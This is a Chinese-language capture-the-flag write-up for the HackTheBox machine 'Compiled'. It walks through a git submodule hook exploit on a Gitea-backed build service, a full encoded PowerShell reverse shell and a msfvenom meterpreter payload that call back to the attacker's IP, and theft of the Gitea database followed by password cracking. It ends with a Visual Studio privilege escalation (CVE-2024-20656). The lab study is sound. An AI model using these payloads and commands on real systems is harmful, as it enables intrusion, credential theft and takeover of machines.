HacktheBox-Compiled
HacktheBox-Compiled
Natro92这个后半部分提权确实有点费劲,主要没有编译环境,后面来回装了几次。
信息搜集
先扫下
1 | fscan -h 10.10.11.26 -np -p 1-65535 |
1 | start infoscan |
http://10.10.11.26:3000
上来就是一个 git 服务
里面有几个源码,注意到有和靶机名称相同的库Compiled
:
根据内容可以判断出来是将 Github 的仓库自动编译。
首先创建一个公开 repo 仓库。
在本地创建仓库,然后上传到自己的 repo 里面。
审一下:
将上传内容先 clone 到本地,然后编译那些设置内容这里并没有写。
额看了下 wp,是用一个 repo 调用另一个 repo 然后编译出的。
1 | #!/bin/bash |
设置 git 参数:
1 | git config --global protocol.file.allow always |
先创建两个 repo1 和 repo2,然后 pull 到本地。
修改 poc。这个反弹 shell 是直接生成的:
1 | powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQA5ACIALAA5ADIAOQAyACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA== |
按照要求写入y/hooks/post-checkout
文件,然后添加操作权限再上传。
然后按照要求把后面这部分也操作下来,但是其中的意思我们分析一下。
git submodule add --name x/y "http://gitea.compiled.htb:3000/xxxxxxxxxx/repo1.git" A/modules/x
- 这条命令用于向当前的 Git 仓库添加一个子模块。
--name x/y
为子模块指定了一个名称x/y
。- 后面的 URL 是子模块的远程仓库地址。
A/modules/x
是子模块在本地的存放路径。
git commit -m "add-submodule"
- 提交当前的更改,并添加了一条提交消息 “add-submodule” 。
printf ".git" > dotgit.txt
- 这行命令使用
printf
命令将字符串 “.git” 输出到一个名为dotgit.txt
的文件中。
- 这行命令使用
git hash-object -w --stdin < dotgit.txt > dot-git.hash
- 计算
dotgit.txt
文件内容的哈希值,并将结果输出到dot-git.hash
文件中。 - 如果计算出的哈希值在 Git 对象数据库中不存在,会将其写入数据库。
- 计算
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
- 再次使用
printf
命令,结合前面计算得到的哈希值,生成一些特定格式的内容,并输出到index.info
文件中。
- 再次使用
git update-index --index-info < index.info
- 根据
index.info
文件中的信息更新 Git 的索引。
- 根据
的按照要求操作之后,我们再到编译这里导入 URL。
如果一旦出问题就得从新操作。
USER
等待一会才能弹到 shell。
用 MSF 生成 Shell:
1 | msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=10.10.16.19 lport=9295 -f exe > shell. |
然后让靶机下载:
1 | curl 10.10.16.19/shell.exe -O shell.exe |
然后运行连接。
访问 Gitea 的 data 目录:
1 | C:\Program Files\Gitea\data |
下载 gitea.db
文件
1 | download gitea.db |
在 user
表中发现数据内容:
发现用户 emily
,随后验证发现确实存在:
然后用爆破脚本:
1 | import hashlib |
爆破出结果为12345678
登录
1 | evil-winrm -i 10.10.11.26 -u emily -p 12345678 |
user 文件在桌面。
SYSTEM
使用的是:CVE-2024-20656
CVE-2024-20656 - Local Privilege Escalation in the VSStandardCollectorService150 Service - MDSec
GitHub - Wh04m1001/CVE-2024-20656
一个 VS 的提权漏洞。将文件 clone 到本地。
先将第四行 VSD 的路径修改了:
1 | C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Team Tools\DiagnosticsHub\Collector\VSDiagnostics.exe |
也就是对应路径。再修改 187 行 CopyFile 的位置(注意对应你自己的第二个 Shell 的位置。)
1 | CopyFile(L"c:\\Nat\\shell2.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE); |
然后编译生成文件。
这还用了个 runascs 这个工具。
1 | ./runascs.exe emily 12345678 C:\tmp\Expl.exe |
反弹 shell